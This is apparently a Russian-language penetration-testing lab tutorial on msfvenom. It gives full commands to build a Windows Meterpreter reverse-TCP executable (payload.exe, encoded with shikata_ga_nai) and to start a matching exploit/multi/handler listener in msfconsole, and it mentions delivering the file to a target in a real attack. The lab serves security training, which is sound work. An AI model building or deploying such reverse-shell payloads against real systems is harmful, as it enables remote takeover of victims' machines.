Введение
В этой лабораторной работе вы получите практический опыт работы с msfvenom — командной строкой Metasploit Framework, используемой для генерации полезных нагрузок (payloads). Это комбинация двух более старых инструментов, msfpayload и msfencode, представляющая собой единый мощный инструмент для создания shellcode для широкого спектра целей и в различных форматах.
Основная цель этой лабораторной работы — провести вас через процесс генерации автономного исполняемого файла для Windows. Вы научитесь выбирать полезную нагрузку, настраивать ее параметры, такие как прослушивающий хост и порт, и, наконец, настроите прослушиватель в msfconsole для приема соединения от полезной нагрузки. Все операции будут выполняться в каталоге ~/project.
Список доступных полезных нагрузок с помощью msfvenom --list payloads
На этом шаге вы начнете изучать возможности msfvenom. Первое, что нужно узнать о любом инструменте, — это то, что он умеет делать. Вы можете вывести список всех доступных полезных нагрузок, используя опцию --list payloads. Это даст вам полный список всего shellcode, который msfvenom может генерировать для различных операционных систем, архитектур и приложений.
Выполните следующую команду в вашем терминале, чтобы увидеть полный список полезных нагрузок:
msfvenom --list payloads
Вывод будет очень длинным. В реальной ситуации вы, как правило, будете фильтровать этот список, чтобы найти конкретную полезную нагрузку. Например, если вы нацеливаетесь на машину с Windows, вы можете использовать grep для поиска соответствующих полезных нагрузок. Давайте попробуем найти полезную нагрузку windows/meterpreter/reverse_tcp, которую мы будем использовать на следующих шагах.
msfvenom --list payloads | grep "windows/meterpreter/reverse_tcp"
Вы должны увидеть вывод, похожий на этот, подтверждающий существование полезной нагрузки:
windows/meterpreter/reverse_tcp Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Это подтверждает, что msfvenom может генерировать эту конкретную полезную нагрузку.
Генерация исполняемого файла для Windows с помощью msfvenom -p windows/meterpreter/reverse_tcp
На этом шаге вы выберете конкретную полезную нагрузку для генерации. Основываясь на нашем поиске на предыдущем шаге, мы будем использовать windows/meterpreter/reverse_tcp. Это очень распространенная и мощная полезная нагрузка. Она создает "обратное" соединение с целевой машины обратно к вам, а "Meterpreter" — это продвинутая, многофункциональная оболочка, которая позволяет проводить обширные действия после эксплуатации.
Чтобы выбрать полезную нагрузку в msfvenom, вы используете опцию -p (или --payload). Давайте попробуем собрать команду, выбрав только полезную нагрузку.
Выполните следующую команду в вашем терминале:
msfvenom -p windows/meterpreter/reverse_tcp
Вы заметите, что эта команда завершается ошибкой. Это ожидаемо.
[-] No options configured yet, getting options from payload...
[-] > LHOST is a required option
Error: LHOST is a required option
В выводе четко указано, что LHOST является обязательной опцией. Это связано с тем, что полезная нагрузка reverse TCP должна знать, к какому IP-адресу подключаться обратно. На следующем шаге мы предоставим эту необходимую информацию.
Установка LHOST и LPORT для полезной нагрузки
На этом шаге вы предоставите необходимые опции для корректной работы полезной нагрузки. Как указано в сообщении об ошибке из предыдущего шага, нам нужно установить LHOST.
LHOST: Это сокращение от "Listening Host" (Прослушивающий хост). Это IP-адрес машины, на которой вы будете ожидать входящее соединение от полезной нагрузки. Для этой лаборатории мы будем запускать прослушиватель на той же машине, поэтому мы можем использовать IP-адрес обратной петли,127.0.0.1.LPORT: Это сокращение от "Listening Port" (Прослушивающий порт). Это порт наLHOST, к которому будет привязан прослушиватель. Вы можете выбрать любой непривилегированный порт, который не используется. Распространенным выбором для этого является4444.
Вы можете установить эти опции непосредственно в командной строке. Давайте добавим LHOST и LPORT к нашей предыдущей команде:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444
После выполнения этой команды вы увидите большой блок символов, выведенных непосредственно в ваш терминал. Это необработанный shellcode для полезной нагрузки.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
<...raw bytes will be printed here...>
Это не очень полезно как отдельный файл. На следующем шаге вы узнаете, как отформатировать этот необработанный shellcode в исполняемый файл.
Указание формата вывода и имени файла с помощью -f exe и -o
На этом шаге вы завершите создание полезной нагрузки, указав ее формат и сохранив в файл. Вывод необработанного shellcode в терминал непрактичен для доставки. Нам нужно упаковать его в формат, который операционная система цели может выполнить.
msfvenom предоставляет две важные опции для этого:
-fили--format: Эта опция указывает формат вывода. Поскольку наша цель — Windows, мы будем использовать форматexeдля создания стандартного исполняемого файла Windows.-oили--out: Эта опция указывает путь и имя файла для выходного файла.
Давайте объединим все изученные нами опции в одну финальную команду. Эта команда сгенерирует исполняемый файл Windows с именем payload.exe в вашем текущем каталоге (~/project).
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe
После завершения команды вы увидите подтверждение создания полезной нагрузки:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe
Вы можете проверить, что файл был создан, используя команду ls -l:
ls -l payload.exe
Вывод должен показать только что созданный файл:
-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe
Теперь вы успешно сгенерировали автономный файл полезной нагрузки.
Создание прослушивателя в msfconsole для перехвата соединения
На этом шаге вы настроите прослушиватель для обработки соединения от только что созданной полезной нагрузки. Полезная нагрузка бесполезна, если у вас нет средства для "перехвата" обратного соединения, которое она устанавливает. Для этого мы будем использовать msfconsole, основной интерфейс Metasploit Framework.
Сначала запустите msfconsole. Использование флага -q позволяет запустить его в тихом режиме без отображения баннера, что выглядит чище.
msfconsole -q
Ваш приглашение изменится на msf6 >. Теперь вам нужно настроить обработчик для прослушивания входящего соединения. Настройки обработчика должны точно соответствовать настройкам, которые вы использовали для генерации полезной нагрузки.
Используйте модуль
exploit/multi/handler. Это универсальный обработчик для входящих соединений.use exploit/multi/handlerУстановите полезную нагрузку, соответствующую той, которую вы сгенерировали.
set payload windows/meterpreter/reverse_tcpУстановите
LHOSTна тот же IP-адрес.set LHOST 127.0.0.1Установите
LPORTна тот же порт.set LPORT 4444Наконец, запустите прослушиватель.
run
msfconsole теперь отобразит сообщение о запуске прослушивателя.
[*] Started reverse TCP handler on 127.0.0.1:4444
На этом этапе прослушиватель активен и ожидает. В реальной атаке вы бы передали payload.exe на целевую машину Windows и выполнили его. При выполнении он бы подключился обратно к этому прослушивателю, и вы бы получили сессию Meterpreter. Поскольку в этой лаборатории у нас нет целевой машины Windows, мы не увидим соединения. Цель здесь — изучить полный процесс генерации полезной нагрузки и настройки соответствующего прослушивателя.
Чтобы выйти из прослушивателя, нажмите Ctrl + C. Чтобы выйти из msfconsole, введите exit и нажмите Enter.
exit
Резюме
В этой лаборатории вы успешно освоили основы генерации автономных полезных нагрузок с помощью msfvenom. Вы отработали весь рабочий процесс, от изучения доступных полезных нагрузок до создания финального исполняемого файла и настройки прослушивателя для обработки его соединения.
Теперь вы знакомы с ключевыми опциями msfvenom, включая:
--list payloadsдля просмотра доступных полезных нагрузок.-pдля выбора конкретной полезной нагрузки, такой какwindows/meterpreter/reverse_tcp.LHOSTиLPORTдля настройки деталей соединения полезной нагрузки.-fдля установки формата вывода (например,exe).-oдля сохранения полезной нагрузки в файл.
Кроме того, вы узнали, как использовать exploit/multi/handler в msfconsole для создания прослушивателя, соответствующего конфигурации вашей полезной нагрузки. Эти знания составляют критически важную основу для многих задач тестирования на проникновение и исследований в области безопасности.


